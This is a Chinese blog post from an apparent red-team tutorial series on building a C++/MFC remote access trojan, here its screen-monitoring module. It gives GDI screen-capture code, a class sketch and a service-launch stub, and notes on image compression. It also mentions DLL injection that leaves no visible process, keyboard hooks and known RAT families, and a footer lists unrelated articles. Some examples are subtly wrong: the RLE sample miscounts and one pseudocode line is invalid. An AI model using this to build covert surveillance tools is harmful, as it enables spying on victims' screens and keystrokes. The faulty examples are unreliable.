红队专题-从零开始VC++C/S远程控制软件RAT-MFC-屏幕监控

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [24]屏幕监控-(1)屏幕查看与控制技术的讲解
    • 图像压缩算法
    • 图像数据转换
    • 其他
  • [25]---屏幕监控(2)查看屏幕的实现

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[24]屏幕监控-(1)屏幕查看与控制技术的讲解

屏幕监控的流程

服务端
while(true)
{
    获取图像数据();
    //
    发送图像数据();
}

客户端
while()
{
    //
    接受图像数据();
    显示图像();
}

查看屏幕的 define 宏信号

1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧

基本流程:获取图像 — 发送图像 — 显示图像

实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像

图像压缩算法

char *p;   // 字符数组 
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};

RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
在这里插入图片描述

RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据

RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}

LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况

图像数据转换

zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb

http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子

CapScreenJpeg JPEG算法

其他

隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描

隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++

LZW:
Vipshell
守候远控

压缩库
PCShare

综合使用 + 汇编实现
1:150 倍

[25]—屏幕监控(2)查看屏幕的实现

在这里插入图片描述
多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理

DLL形式 注入-无进程

屏幕传输的压缩解压方案

键盘钩子

try优化

定制化远控
界面
命令
传输结构体

void CScreen::GetScreen()
{
    CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象
    CRect rc;
    CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
    int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
    int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
    CDC memDC; //定义一个内存画布
    memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
    CBitmap bmp;
    bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
    memDC.SelectObject(&bmp); //选中位图对象
    BITMAP bitmap;
    bmp.GetBitmap(&bitmap);
    panelsize = 0; //记录调色板大小
    //需要增加颜色判断算法
    //bitmap.bmBitsPixel = 4; //更改颜色
    if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
    {
        panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
    }
    HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
    pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize);
    pBMPINFO->bmiHeader.biBitCount      = bitmap.bmBitsPixel;//4
    pBMPINFO->bmiHeader.biClrImportant  = 0;
    pBMPINFO->bmiHeader.biCompression   = 0;
    pBMPINFO->bmiHeader.biHeight        = height;
    pBMPINFO->bmiHeader.biPlanes        = bitmap.bmPlanes;
    pBMPINFO->bmiHeader.biSize          = sizeof(BITMAPINFO);
    pBMPINFO->bmiHeader.biSizeImage     = bitmap.bmWidthBytes*bitmap.bmHeight;
    pBMPINFO->bmiHeader.biWidth         = width;
    pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
    pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
    memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);
    TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
    pData = new BYTE[TotalSize];
    if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
    {
        printf("Return 0\n");
        //delete pData;
        pData = NULL;
        return;
    }
}

#include "Common.h"
#include "MySocket.h"

class CScreen
{
private:
    void GetScreen();
    void SendBmpHeaderinfo();
    void SendBmpData();
    BYTE* pData;
    BITMAPINFO *pBMPINFO;
    CMySocket m_sock;
    UINT TotalSize;
    int HeadTotal;
    double panelsize;
public:
    HANDLE m_h;
    void CleanData();
    void SendScreenData();
    CScreen(void);
    ~CScreen(void);
    bool flag;
    SOCKET m_sock_screen;
};
server.cpp  安装服务的操作	


int _tmain(int argc, _TCHAR* argv[])
{
    /*
    SERVICE_TABLE_ENTRY DispatchTable[] =
    {
        //服务程序的名称和入口点
        {(wchar_t*)ServiceName,ServiceMain}, //服务名
        //SERVICE_TABLE_ENTRY结构必须以“NULL”结束
        {NULL,NULL}
    };
    //连接服务控制管理器,开始控制调度程序线程
    StartServiceCtrlDispatcherW(DispatchTable);
    InstallService();
    */
    ::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
    while(true)
    {
        Sleep(10000);
    }
	return 0;
}

创建线程 点击主机Runservice

//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )

有命令行能够显示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/108671.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

CV计算机视觉每日开源代码Paper with code速览-2023.10.27

精华置顶 墙裂推荐&#xff01;小白如何1个月系统学习CV核心知识&#xff1a;链接 点击CV计算机视觉&#xff0c;关注更多CV干货 论文已打包&#xff0c;点击进入—>下载界面 点击加入—>CV计算机视觉交流群 1.【基础网络架构&#xff1a;Transformer】&#xff08;Ne…

前端实现埋点监控

前端实现埋点&监控 实现埋点功能的意义主要体现在以下几个方面&#xff1a; 数据采集&#xff1a;埋点是数据采集领域&#xff08;尤其是用户行为数据采集领域&#xff09;的术语&#xff0c;它针对特定用户行为或事件进行捕获、处理和发送的相关技术及其实施过程。通过埋…

附录B 其他第三方软件移植(FTP、OpenSSH、GDB)

目录 开发板 FTP 服务器移植与搭建vsftpd 源码下载vsftpd 移植vsftpd 服务器测试配置vsftpd添加新用户Filezilla 连接测试 开发板 OpenSSH 移植与使用OpenSSH 简介OpenSSH 移植OpenSSH 源码获取移植zlib 库移植openssl 库移植openssh 库 openssh 设置openssh 使用ssh 登录scp 命…

利用Excel支持JUnit参数化测试

在JUnit里面&#xff0c;可以使用CsvFileSource读取csv文件进行参数化测试&#xff0c;可是CSV文件不支持格式&#xff0c;编辑颇为麻烦&#xff0c;尤其是多次编辑&#xff0c;因此自然想到是否可以使用Excel文件&#xff0c;可以有各种格式&#xff0c;支持各类数据。 最新开…

常见面试题-MySQL专栏(一)

为什么 mysql 删了行记录&#xff0c;反而磁盘空间没有减少&#xff1f; 答&#xff1a; 在 mysql 中&#xff0c;当使用 delete 删除数据时&#xff0c;mysql 会将删除的数据标记为已删除&#xff0c;但是并不去磁盘上真正进行删除&#xff0c;而是在需要使用这片存储空间时&…

(速进)完美解决“用户在命令行上发出了 EULAS_AGREED=1,表示不接受许可协议。”以及“此产品安装程序不支持降级”

安装VMware时候&#xff0c;出现以下两种情况的原因是&#xff1a;未彻底卸载&#xff08;之前安装过VMware&#xff09;&#xff0c;例如&#xff1a;还有相关配置信息、注册表信息等。只要彻底清理就可以解决此问题。 网上很多帖子使用了powershell里的命令 例如&#xff1…

基于 matplotlib 实现的基本排序算法的动态可视化项目源码,通过 pyaudio 增加音效,冒泡、选择、插入、快速等排序

基本排序算法动态可视化 依托 matplotlib 实现的基本排序算法的动态可视化&#xff0c;并通过 pyaudio 增加音效。 安装 在使用之前请先检查本地是否存在以下库&#xff1a; matplotlibpyaudiofire requirements.txt 中包含了上述的库 使用 目前本项目仅提供了以下排序算…

【Java网络原理】 六

本文主要介绍了网络层的IP协议/NAT机制/IPv6的由来以及在数据链路层涉及到的以太网协议和DNS域名解析系统 一.网络层 1.IP协议 各个字段所表示的含义 >4位版本号 用来表示IP协议的版本&#xff0c;现在只有两个版本IPv4 &#xff0c;IPv6 >4位首部长度 IP报头可变&…

ZYNQ连载02-开发环境

ZYNQ连载02-开发环境 1. 官方文档 ZYNQ开发使用的软件为Vivado/Vitis/PetaLinux,软件体积比较大&#xff0c;硬盘保留100G以上的空间&#xff0c;赛灵思提供详细的文档&#xff0c;链接如下&#xff1a; ZYNQ文档 2. Vivido和Vitis安装 赛灵思统一安装程序 3. PetaLinux安装…

设计模式面试知识点总结

文章目录 设计原则常用设计模式单例模式1. 饿汉式2. 懒汉式3. 双重检测 工厂方法模式&#xff08;简单工厂、工厂方法、抽象工厂&#xff09;简单工厂静态工厂工厂方法模式抽象工厂模式 策略模式责任链模式 设计原则 标记设计模式原则名称简单定义OCP开闭原则对扩展开放&#…

VSCode 自动格式化

1.打开应用商店&#xff0c;搜索 prettier code formatter &#xff0c;选择第一个&#xff0c;点击安装。 2.安装完成后&#xff0c;点击文件&#xff0c;选择首选项&#xff0c;选择设置。 3.在搜索框内输入 save &#xff0c;勾选在保存时格式化文件。 4.随便打开一个文件&a…

【iOS】——知乎日报第二周总结

文章目录 一、自定义cell内容乱序问题二、WKWebView加载网页三、通过cell的协议函数进入指定网页四、滚动视图左滑加载新的网页五、隐藏导航栏 一、自定义cell内容乱序问题 当我下拉刷新的时候一开始我自定义的cell的内容顺序没有问题&#xff0c;当我一直下拉刷新或者上滑看以…

leetcode-链表

链表是一个用指针串联起来的线性结构&#xff0c;每个结点由数据域和指针域构成&#xff0c;指针域存放的是指向下一个节点的指针&#xff0c;最后一个节点指向NULL&#xff0c;第一个结点称为头节点head。 常见的链表有单链表、双向链表、循环链表。双向链表就是多了一个pre指…

ITSource 分享 第5期【校园信息墙系统】

项目介绍 本期给大家介绍一个 校园信息墙 系统&#xff0c;可以发布信息&#xff0c;表白墙&#xff0c;分享墙&#xff0c;校园二手买卖&#xff0c;咨询分享等墙信息。整个项目还是比较系统的&#xff0c;分为服务端&#xff0c;管理后台&#xff0c;用户Web端&#xff0c;小…

ELASTICO-A Secure Sharding Protocol For Open Blockchains

INTRO 在中本聪共识中&#xff0c;通过POW机制来公平的选举leader&#xff0c;不仅非常消耗power&#xff0c;并且拓展性也不好。现在比特币中是7 TPS&#xff0c;和其他的支付系统相比效率相差甚远。 当前的许多拜占庭共识协议&#xff0c;并不支持在一个开放的环境中使用&a…

C语言实现输入一个字符串,递归将其逆序输出

完整代码&#xff1a; // 输入一个字符串&#xff0c;递归将其逆序输出。如输入 LIGHT&#xff0c;则输出 THGIL #include<stdio.h> #include<stdlib.h> //字符串的最大长度 #define N 20//逆序输出字符串 void func(char *str){if (*str\0){//结尾时直接退出递归…

Java SE 学习笔记(十七)—— 单元测试、反射

目录 1 单元测试1.1 单元测试概述1.2 单元测试快速入门1.3 JUnit 常用注解 2 反射2.1 反射概述2.2 获取类对象2.3 获取构造器对象2.4 获取成员变量对象2.5 获取常用方法对象2.6 反射的作用2.6.1 绕过编译阶段为集合添加数据2.6.2 通用框架的底层原理 1 单元测试 1.1 单元测试概…

基于单片机的太阳跟踪系统的设计

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 技术交流认准下方 CSDN 官方提供的联系方式 文章目录 概要 一、设计的主要内容二、硬件电路设计2.1跟踪控制方案的选择2.1.1跟踪系统坐标系的选择2.2系统总体设计及相关硬件介绍…

服务熔断保护实践--Hystrix

概述 微服务有很多互相调用的服务&#xff0c;构成一系列的调用链路&#xff0c;如果调用链路中某个服务失效或者网络堵塞等问题&#xff0c;而有较多请求都需要调用有问题的服务时&#xff0c;这是就会造成多个服务的大面积失效&#xff0c;造成服务“雪崩”效应。 服务“雪…

十九、类型信息(2)

本章概要 Class 对象 类字面常量泛化的 Class 引用cast() 方法 Class 对象 要理解 RTTI 在 Java 中的工作原理&#xff0c;首先必须知道类型信息在运行时是如何表示的。这项工作是由称为 **Class**对象 的特殊对象完成的&#xff0c;它包含了与类有关的信息。实际上&#x…